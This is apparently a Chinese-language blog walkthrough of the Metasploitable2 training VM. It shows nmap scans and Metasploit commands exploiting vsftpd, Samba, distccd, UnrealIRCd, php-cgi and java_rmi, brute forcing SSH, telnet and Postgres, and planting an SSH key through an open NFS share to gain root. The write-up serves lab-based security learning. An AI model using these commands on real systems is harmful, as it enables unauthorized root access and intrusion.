Metasploittable2打靶教程

本次靶机练习主要熟悉:高危端口利用;metasploit中search,show及各个模块使用。

一、环境准备

1.把靶场放在vmware打开,启用nat模式:

2.启用kali

二、信息收集

3.确认目标:

使用nmap扫描该局域网,确认目标开放端口服务信息。

sudo nmap -sS 192.168.1.0/24

这是后面复现完第一张漏洞时,查看靶机漏洞清单,发现少了些端口,还以为是自己靶机没开这些端口呢,结果是自己nmap端口没扫完。这是后面重新扫描的第二张,可见最好平时做实战及靶机时最好扫完 全端口,以免遗漏高端口漏洞。

4.确认操作系统

sudo nmap -O 192.168.1.0/24

也可以和之前的命令一起用

例:sudo nmap -sS -O 192.168.1.0/24

实战中:在确认目标IP后,建议使用:sudo nmap -PN -O 192.168.1.130

更详细服务信息,以便收集已公开漏洞

sudo nmap -sS 192.168.1.130

漏洞清单:

从顺序来吧

21(ftp)

vsftpd是在UNIX 类操作系统上运行的一个完全免费的、开放源代码的ftp服务器软件

可用msf扫描该服务,该ftp正常来说只有匿名访问和弱口令。

匿名访问:

1.启用msf

msfconsole

2.寻找漏洞代码 (vsftpd),查看该服务有无漏洞

search vsftpd

3.使用

use 0

显示payloads

 show payloads

只有一个就自动选择

也可手动定义payload

4.查看配置

show options

5.设置目标

set rhost 192.168.80.130

6.运行

run 或者exploit

直接root权限

22(ssh)

Search  ssh_login       搜索模块
Use auxiliary/scanner/ssh/ssh_login 使用模块
Set RHOST 192.168.1.130 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run

爆破成功msfadmin:msfadmin

23(telnet)

search telnet_login
use 1
Set RHOST 192.168.1.134 设置目标地址
Set USER_FILE XXX 设置用户字典路径
Set PASS_FILE XXX 设置字典密码路径
Set THREADS 100 设置线程是100
Run

80(php-cgi)

先访问该该网站是什么站:

  • Mutillidae 和 DVWA这两个练习平台就不说了

  • 扫描目录发现漏洞点

    • 2012年的漏洞

      server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入

    • phpinfo.php ===>php-cgi

    • phpadmin

search php-cgi
use 0
set rhost 192.168.1.130
run

111(RPC)

auxiliary/scanner/misc/sunrpc_portmapper

只能拿来ddos

139,445(smba)

1.Samba 在配置了可写文件共享并启用了“宽链接”(默认打开)时,也可以用作某种后门来访问不打算共享的文件。

 smbclient -L //192.168.1.130

use auxiliary/admin/smb/samba_symlink_traversal
set rhost 192.168.1.130
set SMBSHARE tmp
run

smbclient //192.168.1.130/tmp

SambaMS-RPC Shell 命令注入漏洞

search samba
use exploit/multi/samba/usermap_script
set rhost xxxx
run

512.513.514 (r)

TCP 端口 512、513 和 514 被称为“r”服务,并且被错误配置为允许从任何主机进行远程访问

sudo apt-get install rsh-client
rlogin -l root 192.168.1.130

1099(java_rmi)

原理:Java RMI Server 的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致

use exploit/multi/misc/java_rmi_server

1524(ingreslock):

1524端口 ingreslock Ingres 数据库管理系统(DBMS)锁定服务

利用telnet命令连接目标主机的1524端口,直接获取root权限。

Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限, 经常被用于入侵一个暴露的服务器。

ingreslock 端口是为受感染服务器添加后门的流行选择。访问它很容易:

2049(NFS)

NFS全称Network File System,即网络文件系统,属于网络层,主要用于网络间文件的共享,最早由sun公司开发。

复现环境:Kali2017、Metasploit2

复现思路:利用NFS服务将本地主机的ssh公钥传输到目标主机上,再利用ssh连接到目标主机

1.kali下连接靶机的NFS服务

sudo apt-get install nfs-common
showmount -e 192.168.1.130
mkdir /tmp/192.168.1.130
sudo mount -t nfs 192.168.1.130:/ /tmp/192.168.1.130/
cd /tmp/192.168.1.130/
ls -la

2.将本地主机的ssh公钥发送到目标主机并通过ssh连接靶机

ssh-keygen
cat .ssh/id_rsa.pub >> /tmp/192.168.1.130/root/.ssh/authorized_keys
ssh root@192.168.1.130

不过这里遇到点小坑

解决办法:链接

 ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa root@192.168.1.130

3306(mysql)

mysql空密码:

使用模块:use auxiliary/scanner/mysql/mysql_login
search mysql_login
use 0
set username root

3632(distccd)

除了上一节中的恶意后门,一些服务本质上几乎就是后门。

search distccd
use 0
set rhost 192.168.1.130

这里如果我们用默认的payload会no session,这里切换下payload

show payloads
set payload cmd/unix/reverse_ruby

5432(postgresql)

1.爆破:

auxiliary/scanner/postgres/postgres_login

postgresql 密码:postgres

2.Linux安装的PostgreSQL, postgres服务帐户可以写到/tmp目录,还有共享库,允许任意执行代码

这是nmap的指纹

也可以通过msf的模块:canner/postgres/postgres_version

后渗透利用推荐

5900(vnc)

vnc 密码: password

6667(IRC)

根据nmap指纹信息
search UnrealIRCd
use 0 || use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.1.130
run

一把梭失败,检查错误:发现pay失败,切换payload。

查看可用payload

show payloads

8180(tomact)

暴力破解账号密码:tomcat;tomcat

metasploit2-practice的更多相关文章

  1. Pramp mock interview (4th practice): Matrix Spiral Print

    March 16, 2016 Problem statement:Given a 2D array (matrix) named M, print all items of M in a spiral ...

  2. Atitit 数据存储视图的最佳实际best practice attilax总结

    Atitit 数据存储视图的最佳实际best practice attilax总结 1.1. 视图优点:可读性的提升1 1.2. 结论  本着可读性优先于性能的原则,面向人类编程优先于面向机器编程,应 ...

  3. The Practice of .NET Cross-Platforms

    0x01 Preface This post is mainly to share the technologies on my practice about the .NET Cross-Platf ...

  4. Exercise 24: More Practice

    puts "Let's practice everything." puts 'You\'d need to know \'bout escapes with \\ that do ...

  5. ConCurrent in Practice小记 (3)

    ConCurrent in Practice小记 (3) 高级同步技巧 Semaphore Semaphore信号量,据说是Dijkstra大神发明的.内部维护一个许可集(Permits Set),用 ...

  6. ConCurrent in Practice小记 (2)

    Java-ConCurrent2.html :first-child{margin-top:0!important}img.plugin{box-shadow:0 1px 3px rgba(0,0,0 ...

  7. ConCurrent in Practice小记 (1)

    ConCurrent in Practice小记 (1) 杂记,随书自己写的笔记: 综述问题 1.线程允许在同一个进程中的资源,包括共享内存,内存句柄,文件句柄.但是每个进程有自己的程序计数器,栈和局 ...

  8. 1.2 基础知识——关于猪皮(GP,Generic Practice)

    摘要: 这是<CMMI快乐之旅>系列文章之一.说起猪皮(GP,Generic Practice),真的让人又爱又恨,中文翻译叫通用实践.CMMI标准中每个级别包含几个PA,每个PA又包含几 ...

  9. 2015年第2本(英文第1本):《The Practice of Programming》

    2015年计划透析10本英文原著,最开始选定的第一本英文书是<Who Moved my Cheese>,可是这本书实在是太短.太简单了,总体的意思就是要顺应变化,要跳出自己的舒适区,全文不 ...

  10. Java Concurrency In Practice -Chapter 2 Thread Safety

    Writing thread-safe code is managing access to state and in particular to shared, mutable state. Obj ...

随机推荐

  1. 组件封装----useImperativeHandle和ref

    useImperativeHandle(ref, createHandle, [deps]) 作用: 减少暴露给父组件获取的DOM元素属性, 只暴露给父组件需要用到的DOM方法 参数1: 父组件传递的 ...

  2. easygui的简单使用——实现猜字谜小游戏

    游戏:随机生成个谜底,每轮有3次机会,猜对了结束本轮游戏,猜错了提示猜大了还是猜小了,并显示剩余次数,3次用完后本轮字谜游戏结束,可重新开始猜字谜,也可结束游戏 # 使用 easygui 实现猜字谜游 ...

  3. JavaScript:对象:如何去遍历输出一个对象的属性?语句for-in

    使用for-in的for循环语句,可以去遍历一个对象的属性,这类似于Java的增强for循环: 但是注意,这并不能遍历对象的所有属性,有些隐藏的属性,是无法遍历出来的,虽然我们可以通过控制台去查看这些 ...

  4. 前端程序员学python(爬虫向)(一文修到筑基期) (本文不含知识诅咒)

    我踏马来辣 还有一件事: 本教程配合c语言中文网 python爬虫 教程 食用 本教程不适用于未成年人 一定要刷牙 本教程不存在知识诅咒 学完本教程即可进入筑基期 js 基础和本教程学习效率成正比 不 ...

  5. [深度学习] ncnn编译使用

    文章目录 工程 ncnn工程编译使用(cpu) ncnn工程编译使用(vulkan) 参考 工程 ncnn工程编译使用(cpu) 在linux下建立如CMakeLists文件即可编译生成ncnn工程 ...

  6. python进阶之路8 字典、元组、集合内置方法 编码理论

    内容回顾 作业讲解 1.前期不熟练的情况下一定要先写注释 2.一定要仔细思考每一行代码的含义 3.自己不会的代码或者不熟练的代码一定要多敲多练 数据类型内置方法简介 所有的数据类型基本上都自带了一些操 ...

  7. [C++]union联合体总结

    特点一:成员公用内存,且按所占内存最大的数据成员分配内存 //举例1 union A{ char a;//1个字节 int b;//4个字节 char c;//1个字节 } cout<<s ...

  8. [C++]C++11右值引用

    右值引用的概念(摘自C++Primer) 左值和右值的概念 1.左值和右值是表达式的属性,一些表达式要求生成左值,一些表达式要求生成右值:左值表达式通常是一个对象的身份,而一个右值表达式表示的是对象的 ...

  9. Java学习笔记:2022年1月11日

    Java学习笔记:2022年1月11日 ​ 摘要:这篇笔记主要讲解了一些数据在计算机中的存在方式相关的知识点,并由此延伸出了数据在计算机中的操作以及一些数据结构的知识. @ 目录 Java学习笔记:2 ...

  10. 数据结构与算法 -> 并查集

    一.并查集概念 并查集是一种树形的数据结构,顾名思义,它用于处理一些不交集的合并及查询问题. 它支持两种操作: 查找(Find):确定某个元素处于哪个子集,单次操作时间复杂度 O(α(n)),即查询元 ...